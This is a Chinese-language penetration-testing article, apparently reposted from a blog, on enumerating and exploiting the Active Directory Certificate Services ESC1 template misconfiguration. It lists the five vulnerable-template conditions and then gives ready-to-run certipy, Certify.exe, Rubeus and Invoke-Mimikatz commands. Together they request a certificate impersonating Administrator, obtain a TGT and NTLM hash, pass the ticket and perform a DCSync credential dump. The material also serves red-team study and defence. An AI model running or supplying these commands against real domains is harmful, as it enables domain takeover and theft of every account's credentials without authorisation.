ADCS-ESC1枚举和利用

admin 2026-06-17 04:50:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了ADCS-ESC1漏洞机制,指出该漏洞允许低权限用户通过证书模板指定不同主体备用名称(SAN)来冒充高权限账户。文档详细列出了ESC1的5个判定条件,并分别提供了Linux和Windows平台下的枚举工具(certipy/Certify)和利用方法,包括证书申请、认证、票据获取以及最终的DCSync攻击流程。 综合评分: 85 文章分类: 漏洞分析,渗透测试,内网渗透,红队,安全工具


cover_image

ADCS-ESC1枚举和利用

原创

Jzhoucdc Jzhoucdc

攻防之路JZhoucdc

2026年6月11日 15:34 上海

在小说阅读器读本章

去阅读

总结一下关于ESC1的学习。

ESC1证书模板允许在证书请求中指定与请求者不同的主体备用名称(SAN)。这意味着低权限用户可以请求一张证书,并在 SAN 字段中填入高权限账户(如 Administrator)。


Linux枚举和攻击:

枚举:

certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -vulnerable -stdout

ESC1 漏洞的 5 个判定条件: | 条件 | 值 | 含义 | | — | — | — | | Enrollment Rights | LAB.LOCAL\Domain Users | 域用户都有注册权限,低权限账户也能申请证书 | | Requires Manager Approval | False | 不需要管理员审批,证书自动颁发 | | Authorized Signature Required | 0 | 不需要授权签名 | | Client Authentication | True 或 EKU 为 Client Authentication | 证书可用于客户端身份验证 | | Enrollee Supplies Subject | True | 申请者可以自己指定主题(包括 SAN 字段) |

利用:

1. 申请证书

使用 certipy 请求证书,具体操作是使用 req 选项请求证书,并使用 -upn选项指定要包含的替代主体(此处为 Administrator):

certipy req -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator

2.证书认证

使用PFX 文件来向域服务进行身份验证。这样系统会根据证书中的身份信息为你签发会话或票据。

certipy auth -pfx ./administrator_dc1.pfx -username administrator -domain lab.local -dc-ip 10.129.17.224

3.登录利用

要进行身份验证,我们可以使用保存在 administrator.ccache 中的 TGT。或者 Administrator 账户的 NTLM哈希。

3.1 使用NTLM哈希连接DC

3.2使用TGT连接DC:


Windows平台枚举和攻击:

枚举:

Windows 系统上使用 Certify.exe 工具可以检测 AD CS(Active Directory Certificate Services)的漏洞。与 Python 版本(如 certipy)不同,Windows 版无需手动输入凭证,因为它会自动从当前运行会话中获取凭证。

Certify.exe find /vulnerable

攻击:

要滥用此证书,需在请求中包含替代 SAN(Subject Alternative Name),并使用以下参数:

  • request:请求证书
  • /ca:<CA NAME>:指定 ADCS 服务器
  • /template:<Template Name>:设置要滥用的证书模板
  • /altname:<Account to Impersonate>:指定要冒充的账户(即替代主题)
Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC1 /altname:[email protected]

证书已经申请到了,现在用 OpenSSL 把它打包成 .pfx,方便后续用证书登录提权。

用生成的证书,通过 Rubeus 去认证请求一个Administrator身份的TGT票据:

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

成功根据证书获取 NTLM 哈希和base64 ticket,现在有2个路径,用NTLM哈希或者是base64 票据进行后续的利用。

DCSync 攻击

使用 Rubeus 工具创建一个牺牲登录会话(Sacrificial Logon Session),以便后续执行 Pass the Ticket传递票据

Rubeus.exe createnetonly /program:powershell.exe /show

然后在生成的新powershell终端进行传递票据攻击

Rubeus.exe ptt /ticket:doIGQjCCB....

现在powershell进程有了Administrator的TGT,意味着我们有了管理员的权限。然后使用Mimikatz 执行 DCSync 攻击。

Set-ExecutionPolicy&nbsp;Bypass&nbsp;-Scope&nbsp;CurrentUser&nbsp;-ForceImport-Module&nbsp;.\Invoke-Mimikatz.ps1Invoke-Mimikatz&nbsp;-Command&nbsp;'"lsadump::dcsync /user:lab\Administrator"'


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:攻防之路JZhoucdc Jzhoucdc Jzhoucdc《ADCS-ESC1枚举和利用》

ADCS-ESC1枚举和利用 网络安全文章

ADCS-ESC1枚举和利用

文章总结: 本文分析了ADCS-ESC1漏洞机制,指出该漏洞允许低权限用户通过证书模板指定不同主体备用名称(SAN)来冒充高权限账户。文档详细列出了ESC1的5
评论:0   参与:  0